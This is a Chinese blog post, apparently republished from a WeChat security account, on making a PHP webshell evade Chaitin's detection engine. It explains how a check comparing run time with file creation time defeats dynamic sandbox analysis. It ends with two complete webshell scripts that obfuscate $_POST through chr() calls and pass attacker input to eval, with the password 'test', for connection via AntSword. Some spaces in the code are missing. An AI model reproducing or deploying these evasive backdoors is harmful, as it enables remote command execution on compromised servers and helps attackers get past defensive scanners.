0x00 前言
就在刚刚,我绕过了长亭:
此刻我的心情十分复杂,因为我在尝试绕过其他查杀引擎,虽然其他查杀引擎没绕过掉,但没想到这招居然绕过了长亭,并且是无感绕过,并不影响后续连接webshell。
我现在打字手都是抖得,因为在我眼里,长亭一直都是一个比较难对付的查杀引擎,没想到绕过不了阿里云和ShellPub的webshell居然能绕过长亭,这是我完全没想到的,那我们就废话不多说,具体请各位看下文。
长亭 WebShell 检测:https://rivers.chaitin.cn/webShell
注:
1.我不太建议大家直接去后文拿代码,还是建议大家先看看文章再去拿代码。
2.经测试本文涉及到的脚本在D盾和长亭中均可绕过,其他查杀引擎例如阿里云和ShellPub绕过不了,其他的需要读者自行测试。
0x01 正文
很久以前,我发过一篇PHP_webshell免杀03-过阿里云&长亭,在这篇文章中我介绍了deepseek给出的webshell该如何利用,以及绕过效果,但由于该脚本也不是我写的,让我来修改去绕过其他查杀引擎可能会比较吃力,所以我一直是想从0开始编写一个脚本去绕过各大查杀引擎,比如大家也可以发现我之前是搞出了自己的一套通杀思路去绕过D盾,而今天我要给大家带来的绕过思路,针对的就是长亭
。
我先给大家看一下我那段过D盾的通杀脚本在长亭当中的效果:
显而易见,直接被判定为恶意脚本。不着急,此时我们注释一下调用eval的那行代码再传上去看看效果:
很明显,此时就被判定为安全脚本了,那么答案显而易见,原脚本被判定为恶意脚本是通过长亭webshell检测引擎的动态检测
判定的:
同时也可以证明,我们这段脚本已经绕过了长亭webshell查杀引擎的静态检测,我们现在只需要让脚本不去执行eval即可绕过长亭,那么该如何让脚本不去执行呢?很简单,这里引用一下我上面提到的那篇文章中deepseek给到的思路:
也就是说我们可以让脚本在某个时间段才能运行即可绕过掉长亭,但是这种在某个时间段运行的思路实在是不太自由,当时我在写文章时也发现了这个问题,于是我更改了一下思路,具体看代码:
我在脚本首行当中写了这三行代码,if中的条件将会判断脚本运行时间和脚本创建时间是否是同一分钟,也就是说如果脚本上传到目标服务器后就被执行,此时就不会执行下面的代码,必须等一分钟后才会执行下面的代码。废话不多说,让我们看看这段脚本在长亭当中的效果:
成功绕过,再让我们看看这段脚本是否能成功连接蚁剑,以下是脚本上传到服务器时一分钟之内的效果:
一分钟之后:
成功连接。
但是if条件写成这样可能还是不太灵活,大家也发现了我是通过分钟来判断的,如果此时我正好上传到了对方服务器,想要连接那就得等一分钟,而且如果过了一小时后又是同一分钟那就还得再等一分钟,所以此时我还需要再改一下if条件以应对以上这些情况:
此时我将代码修改为了当前时间若和文件创建时间(精确到年-月-日 时-分-秒)一致,那么就不会执行下面的代码,让我们看一下修改后的webshell在长亭当中的效果:
成功绕过,蚁剑测试连接:
成功实现长亭无感绕过。此时就不必再担心连接问题了,只要我们将脚本上传到目标服务器上,只需要等一秒就能连接上,而事实上我们打开蚁剑可能都需要等好几秒。
最后我需要提一点,这个方案在我这里测试是没任何问题的,如果大家在测试过程中发现长亭爆红了,那只有一种可能:运行脚本时间和脚本创建时间不一致
。但我这里没出现过这个问题,如果大家发现爆红那就去修改一下if条件即可。
0x02 总结
其实本文提到的绕过长亭对eval的检测核心在于写一个检测运行时间即可,其他操作其实都是我之前绕过D盾的思路,下面我再总结一下本文所有涉及到的绕过思路:
1.对_POST进行变量混淆。2.eval调用时往里面写三元表达式。3.规避D盾检测eval中是否存在[]可以写一个函数或方法返回数组的指定值。4.将必要方法封装到类中,例如获取数组中的内容。5.检测运行时间以绕过动态检测。
0x03 Code
注:连接密码依然是test
。
第一个版本:
if(date("i") - date("i", filectime(basename(__FILE__))) == 0 ) {
exit;
}
classwwww
{
public functionwwwww($str)
{
return chr($str);
}
public functionget($list)
{
return $list['test'];
}
}
$www = new wwww();
$sfd = $www->wwwww(95);
$sdf = $www->wwwww(80);
$dfgb = $www->wwwww(79);
$d123 = $www->wwwww(83);
$d456 = $www->wwwww(84);
$b = $sfd . $sdf . $dfgb . $d123 . $d456;
eval(0 ? 0 : $www->get($$b));
第二个版本:
if(date("Y-m-d H:i:s") == date("Y-m-d H:i:s", filectime(basename(__FILE__)))) {
exit;
}
classwwww
{
public functionwwwww($str)
{
return chr($str);
}
public functionget($list)
{
return $list['test'];
}
}
$www = new wwww();
$sfd = $www->wwwww(95);
$sdf = $www->wwwww(80);
$dfgb = $www->wwwww(79);
$d123 = $www->wwwww(83);
$d456 = $www->wwwww(84);
$b = $sfd . $sdf . $dfgb . $d123 . $d456;
eval(0 ? 0 : $www->get($$b));
原文始发于微信公众号(Spade sec):PHP_webshell免杀06-eval过长亭通杀方案
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论